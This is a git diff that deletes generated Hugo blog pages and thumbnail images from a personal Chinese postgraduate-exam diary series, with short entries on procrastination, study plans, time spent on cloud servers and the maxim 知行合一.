"a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225184\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/index.html" deleted file mode 100644 index 78975227..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/index.html" +++ /dev/null @@ -1,685 +0,0 @@ - - - - -考研记录 距考研初试191天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试191天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试191天 -

- - -

- 放假回家小颓了几天,要改掉 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

放假回家小颓了几天,要改掉

-

我发现我每次换一个环境就会摆烂几天,怀念原来的环境的好,感觉是个坏习惯,要改正,放假回家情绪低落了几天,也没学习,知识大降,明天开始好好学习,从明天开始距离考研还有190天,莫名的感觉很自信,清单上的计划都能做到

-

知行合一,致良知

-

近期发现了一句我认为很有道理的话,第一次看到是我初中的时候读当年明月写的"明朝那些事儿",“知行合一,致良知”,我觉得这句话也是我追求的那种"普适的"道理,有些道理可能能简单就能明白,但是践行却是另一回事,另外我发现"读万卷书,行万里路"也很有道理,知和行学到的道理是不一样的,而且我发现一件事做过和没做过区别很大,用古人的话说就是"纸上得来终觉浅,绝知此事要躬行"

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 5886db27..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225191\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/index.html" deleted file mode 100644 index ffc9a7d8..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/index.html" +++ /dev/null @@ -1,682 +0,0 @@ - - - - -考研记录 距考研初试217天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试217天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试217天 -

- - -

- 最近不太努力,明天开始好好学 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

最近不太努力,明天开始好好学

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225217\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/index.html" deleted file mode 100644 index 23c92ce0..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/index.html" +++ /dev/null @@ -1,683 +0,0 @@ - - - - -考研记录 距考研初试254天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试254天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试254天 -

- - -

- 人的欲望是无穷的 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

人的欲望是无穷的

-

最近几天搞完服务器又想搞其他的软件,占用了大量的时间,这样不好,用不到且没必要的东西就不应该弄

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225254\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/index.html" deleted file mode 100644 index 62b417ad..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/index.html" +++ /dev/null @@ -1,684 +0,0 @@ - - - - -考研记录 距考研初试264天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试264天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试264天 -

- - -

- 重新列了学习计划,因为之前的学习计划完成的太差了 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

重新列了学习计划,因为之前的学习计划完成的太差了

-

之前因为自己不够努力,以及其他的种种原因导致原来的学习计划完成的太差了,今天重新列了一个新的学习计划,希望以后能努力完成吧

-

还是那句话,希望自己的坚持能和自己的能力相匹配吧

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225264\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/index.html" deleted file mode 100644 index 716a7289..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/index.html" +++ /dev/null @@ -1,686 +0,0 @@ - - - - -考研记录 距考研初试268天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试268天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试268天 -

- - -

- 今天很开心,崭新的开始 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

今天很开心,崭新的开始

-

最近两年大部分的时间都用在了搞云服务器上,从国内到国外,今天终于把想弄的东西都弄完了

-

长久以来,我都是那种有事情就急着做,即使是很久以后才需要做的事情,不做也会一直想着,很难受的人

-

所以最近两年消耗了大量的时间在云服务器上把自己想做的事情都做了,今天把计划上最后一台到手的云服务器配好了各种想弄的东西,解决了遇到的所有问题,终于结束了对云服务器的初见

-

今天真的很开心,做完了想做的事情,没有这些事情压着,感觉很放松,以后要更加努力的学习,把之前用掉的时间补回来

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225268\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/index.html" deleted file mode 100644 index cc5cd854..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/index.html" +++ /dev/null @@ -1,685 +0,0 @@ - - - - -考研记录 距考研初试271天 - - - - - - - - - - - - - - - - -
- - - -
-
-
-
- - Featured image of post 考研记录 距考研初试271天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试271天 -

- - -

- 为什么这么久没记录 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

为什么这么久没记录

-

一个是有些流水账,一个是时间比较紧,但是以后会尽量多写写

-

另外最近回家了一段时间,中间小摆了几天,好罪恶,但是不能因为罪恶感而被压的走不下去,懈怠之后最好的处理方法就是更加努力

-

坚持就是胜利

- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225271\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225305\345\244\251/index.html" 